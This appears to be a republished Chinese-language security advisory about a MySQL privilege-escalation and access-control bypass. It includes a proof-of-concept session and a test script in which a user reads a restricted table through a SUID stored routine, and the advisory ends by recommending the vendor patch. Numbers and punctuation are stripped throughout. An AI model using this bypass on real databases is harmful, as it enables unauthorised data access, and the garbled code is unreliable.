熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> MySQL >> 正文

MySQL權限提升及安全限制繞過漏洞

2022-06-13   來源: MySQL 

  受影響系統

  MySQL AB MySQL <=

  描述

  BUGTRAQ ID:

  MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統擁有各種平台的運行版本

  在MySQL上擁有訪問權限但無創建權限的用戶可以創建與所訪問數據庫僅有名稱字母大小寫區別的新數據庫成功利用這個漏洞要求運行MySQL的文件系統支持區分大小寫的文件名

  此外由於在錯誤的安全環境中計算了suid例程的參數攻擊者可以通過存儲的例程以例程定義者的權限執行任意DML語句成功攻擊要求用戶對所存儲例程擁有EXECUTE權限

  測試方法

  【警 告以下程序(方法)可能帶有攻擊性僅供安全研究與教學之用使用者風險自負!】

  創建數據庫

  $ mysql h mymysqlserver u sample p A sample
Enter password:
Welcome to the MySQL monitor Commands end with ; or \g
Your MySQL connection id is to server version: standard

  mysql> create database another;
ERROR : Access denied for user sample@% to database another

  mysql> create database sAmple;
Query OK row affected ( sec)
 

  權限提升

  disable_warnings
drop database if exists mysqltest;
drop database if exists mysqltest;
drop function if exists f_suid;
enable_warnings

  # Prepare playground
create database mysqltest;
create database mysqltest;
create user malory@localhost;
grant all privileges on mysqltest* to malory@localhost;

  # Create harmless (but SUID!) function
create function f_suid(i int) returns int return ;
grant execute on function testf_suid to malory@localhost;

  use mysqltest;
# Create table in which malory@localhost will be interested but to which
# he wont have any access
create table t (i int);

  connect (malcon localhost malorymysqltest);

  # Correct malory@localhost dont have access to mysqltestt
error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltestt;

  # Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltestt);
return ;
end|
delimiter ;|

  # Again correct
error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a @b;

  # Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer so malory@locahost gets all info that he wants
select testf_suid(f_evil());
select @a @b;

  connection default;
drop user malory@localhost;
drop database mysqltest;
drop database mysqltest;
 

  建議

  廠商補丁MySQL AB

  目前廠商已經發布了升級補丁以修復這個安全問題請到廠商的主頁下載


From:http://tw.wingwit.com/Article/program/MySQL/201311/29307.html
    推薦文章
    Copyright © 2005-2022 電腦知識網 Computer Knowledge   All rights reserved.